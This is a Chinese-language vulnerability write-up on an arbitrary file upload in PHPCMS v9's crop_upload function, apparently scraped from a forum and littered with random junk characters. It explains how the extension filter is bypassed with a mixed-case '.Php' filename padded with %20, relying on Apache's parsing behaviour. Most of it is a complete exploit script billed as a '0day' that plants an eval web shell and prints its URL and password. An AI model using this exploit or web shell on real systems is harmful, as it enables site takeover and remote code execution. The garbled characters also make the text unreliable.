漏洞类型: 文件上传导致任意代码执行
7 Y1 s- c( g) n1 L9 s/ @
8 e6 b! N! c, ^2 q- y v简要描述:
$ r) B% e* ]0 L0 ]( c" u% j' |& \. x: w
phpcms v9 getshell (apache)
# i" ~+ K% x6 N/ O, g详细说明:
# s" d! m8 [# ?+ D2 l+ _1 T. Y6 M$ J @
漏洞文件:phpcms\modules\attachment\attachments.php
8 Z! W4 p4 M7 {( y9 e
% g. O# p+ G: V3 t+ F; kpublic function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } # F3 ]/ a+ Q, r# d# j$ a
后缀检测:phpcms\modules\attachment\functions\global.func.php: e3 a T: \) U; K1 P" w/ g# u
7 \' z5 E" q+ W% u3 m; M0 E
( P7 o$ u4 K5 d+ J: {; B0 t
7 m6 N* F- e* v' U4 Vfunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } + }/ o+ H# ]. G# @
) E& m9 Q5 E% W" W7 q6 ?/ @
关键函数:3 A* D! V6 c3 y) m. i) {
* |6 V& ~8 i- ~. p
6 F% @! ~1 i4 i& D8 o
0 x: t# E; \4 c- k/ X
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } ( h& ?6 p; [; \, e" O- a" c
6 j0 G3 l' [8 k
Fileext函数是对文件后缀名的提取。7 \8 `) a1 t6 _ H9 t( B
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
3 }+ k. r6 v! f' g经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。0 e, G. {! a& g- Y$ Q
我们回到public function crop_upload() 函数中
5 W+ s# s5 a5 H8 `if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit(); @6 O& ~! A G; h. N
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
6 q3 o* J1 P# c; D: x( Y7 ^这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。0 o3 G! V) p3 V" m3 \
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。1 e0 v) P) k; z' w% i
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。: M, T$ n' R+ b7 m8 m. O
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
4 i+ L2 e# W1 i漏洞证明: t/ @% |$ N4 i5 x$ S
( m$ Z B- n- B" Q
exp:0 l# L9 q% j0 {0 x' L: i; X
8 E# t, u- h0 r- Q8 F
<?php6 S { a8 Q7 J0 M+ z- ]
error_reporting(E_ERROR);
0 O/ S. j7 T6 e7 @9 x! Pset_time_limit(0);
/ y9 {1 H/ o+ N& h( k* }$pass="ln";
8 }* h D+ H4 E( lprint_r('
C! `( i {- p1 R: }+---------------------------------------------------------------------------+
, l( V- E- L/ U" D8 h# RPHPCms V9 GETSHELL 0DAY
* ~; W# `& S, u* I1 G: t; Mcode by L.N.: g/ A2 |! A y8 M% {
0 Q0 l2 V. _* N# mapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net& [( K' {- @) b1 u
+---------------------------------------------------------------------------+- V. w b) K6 q! i/ X$ v1 E
');2 P4 S$ @- D' k9 E
if ($argc < 2) {5 M0 x4 d+ k7 g/ Y) o% E
print_r('
1 J `) W6 k" V# |+---------------------------------------------------------------------------+
1 s8 ^1 h2 @% b3 u1 J0 YUsage: php '.$argv[0].' url path% I- [6 r+ e/ }+ Y
# h/ @4 x1 `0 [' @ O2 i2 cExample:
" ^7 M0 C/ m+ }4 u; A1.php '.$argv[0].' lanu.sinaapp.com/ F& Z) |7 @2 I# M6 S. I
2.php '.$argv[0].' lanu.sinaapp.com /phpcms8 }) `2 ^* E x1 g
+---------------------------------------------------------------------------+
; ^6 ]/ P8 Z4 h; e/ f7 X6 ]- g/ Q');
# u7 r8 J4 U$ p7 [exit;
$ b0 h5 l. t& }/ q; l5 ]7 }}
1 K( l. D; N) ~+ S5 a6 n P& M0 ~& ~% t+ `* Y. j. U
$url = $argv[1];- H3 r6 `- E% g" l
$path = $argv[2];, D( w' q$ ~! p, H5 @- U
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
5 E# G5 X+ l( @6 g. i$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
4 x' O/ f; l( H( |5 E* {% Gif($ret=Create_dir($url,$path))
* i% R8 d) _( Z+ @6 }7 ]! Y{
2 q% c& K% X& S//echo $ret;7 l1 N; y& V" A7 I- ~# y( f. ~
$pattern = "|Server:[^,]+?|U";
G9 P* B. G# J9 v6 Ppreg_match_all($pattern, $ret, $matches);
! l! w: ]7 O/ m" d- Q6 C4 lif($matches[0][0])8 V" M$ R! i( X
{
1 f0 e6 b5 S ]0 Vif(strpos($matches[0][0],'Apache') == false)
* V1 U6 m4 T6 Z0 f{
$ }# w8 c" j- T4 Fecho "\n亲!此网站不是apache的网站。\n";exit;; B w4 g. j6 G2 B* o8 N
}
8 Q+ ]1 n, R& h3 I7 g4 n2 g}0 y4 ?' w: B+ \& f* b" A
$ret = GetShell($url,$phpshell,$path,$file);& k( O5 S8 L" R' R9 q
$pattern = "|http:\/\/[^,]+?\.,?|U";
8 E2 \. n; ^+ S; i6 A# tpreg_match_all($pattern, $ret, $matches); J, ^1 ^0 D" j6 k
if($matches[0][0])
5 ?% V" J6 z7 n1 J) ]$ q# g2 W{% ]+ a0 z7 F' Y; n7 C0 {
echo "\n".'密码为: '.$pass."\n";
/ A: k5 P+ J2 J( iecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
" X4 y! \2 A8 D$ B2 {) t3 z: q}
4 O- ~7 m/ @' T3 \4 e! Q# A* ^else% A# \8 _9 z( @4 c: K
{
7 y9 a$ n( [( D) Q! _$pattern = "|\/uploadfile\/[^,]+?\.,?|U";# b+ t) ~" s- W+ R& e2 s
preg_match_all($pattern, $ret, $matches);3 g! Z$ k7 S" g3 R" A$ w6 Y
if($matches[0][0])
) U. w, _3 w; J) o E{8 G# J& b/ \8 J- g; E. {
echo "\n".'密码为: '.$pass."\n";% r) O: g. p+ {2 N( i1 V
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
. j5 x$ m: K3 T9 Z: R+ M1 _3 e}% R/ J0 \+ k( V# G, F! z
else( X9 E0 f; S7 p1 Z) m z' W
{# T6 n& }& W2 m% Y
echo "\r\n没得到!\n";exit;: p& Q4 h: E6 D; U9 M9 ^
}
8 Y' I" Z1 j8 N- w; O0 u. j( u}
1 U- ]7 I- o# h8 v}
# L4 R! l m, X9 w
+ t7 q4 x5 K" Q0 Lfunction GetShell($url,$shell,$path,$js)0 o5 h' N% w3 x3 b% M5 ?# N
{3 N& v: @# E& w$ t
$content =$shell;
$ ^* M7 l5 ?( M. O5 I$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
0 J0 P& o* x2 H$data .= "Host: ".$url."\r\n";& B2 ]1 x! x; D. w" ?
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
+ [0 ~. }( C: S$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";+ [9 Z0 w+ u1 {, r5 L6 ^
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";' C# V1 o/ R1 S. K$ x' U! `# B
$data .= "Connection: close\r\n";9 w$ n9 u% r- w4 i) z( @7 p# e
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
+ @& s. S/ ^3 C0 w" n3 m# G$data .= $content."\r\n";
. W! g1 {( C, J7 L7 ]$ock=fsockopen($url,80);
" P0 ]4 W- b6 L% bif (!$ock)+ G0 p: P @* B& Y, V/ d9 l6 L% v
{
' _0 A( |" d( s5 Hecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
) `6 H& Z; X. h. |$ Y9 G}
g* K+ {% H& K& V; L& p% G+ P5 Eelse
( }+ {# ?4 G! O8 {( F2 G' F& s{
1 v0 z9 X6 W; ?) k, pfwrite($ock,$data);
% d% q' o. m* d _. y$resp = '';2 L% i$ M8 n9 F+ G7 |* d
while (!feof($ock))
0 _: F5 |/ } a{
! j! Z6 c& [2 v9 j! G$resp.=fread($ock, 1024);
% K' `( v$ L) P; U" h}
- l, p( c0 U: w2 ^0 o6 ?return $resp;- L5 I+ f6 ^# z" {
}
: N. \6 R |& r" r. I! v+ P}& ^0 c _# g7 j' J* z8 c! L
6 R3 _2 G5 {/ Zfunction Create_dir($url,$path='')
5 r/ q6 u+ i% Z$ Z{0 Z2 W8 n8 d5 R1 p- b4 Y4 J
$content ='I love you';$ q' {/ I% }4 o6 L6 t+ a
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
) D/ ~" _+ M" g- Z/ s+ x- N$data .= "Host: ".$url."\r\n";
, _! P F% l, G$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
4 e7 h* F/ Z: g, i# [0 Z( h$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
( c9 r5 N- z7 ~4 Z$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";2 T7 M) _# M2 B+ y( f* ?
$data .= "Connection: close\r\n";% @: A$ Y/ l L7 s
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";# J" S* p; ^" p0 p& X
$data .= $content."\r\n";
& k: T: Q Y# G% X$ock=fsockopen($url,80);+ K, H2 X0 m" j0 t+ M3 B
if (!$ock)
0 {" n, e! l1 y1 P& m1 V4 d{& ^! Z. r# U8 H8 @% [
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;6 V; O6 x0 Y, L' i( o
}* g# G3 ^3 U' H j
fwrite($ock,$data);" s" n" J0 e2 u+ V; |' m' X! s
$resp = '';8 g7 m8 S6 c2 w
while (!feof($ock))/ q0 X. E) x5 q. g
{
# Z# |# t0 C d# g1 z$ Z$resp.=fread($ock, 1024);
8 x' Z k [2 t" L}
7 _5 Z, w( [& A7 Yreturn $resp;: A8 k3 p j* r! n/ h! Y& V
}% M1 ^9 L. _6 i( ^2 U7 W1 p) J
?> # p/ S, a$ n' Q' `' l/ x
# Y! `, n8 S; r& E& d2 r' C
修复方案:& |. V* v* i3 C
; U6 n4 q+ I+ h& O" n
过滤过滤再过滤
- \& i& i- L* F/ T
$ f0 U1 m- G- a9 t( \ J. e6 I |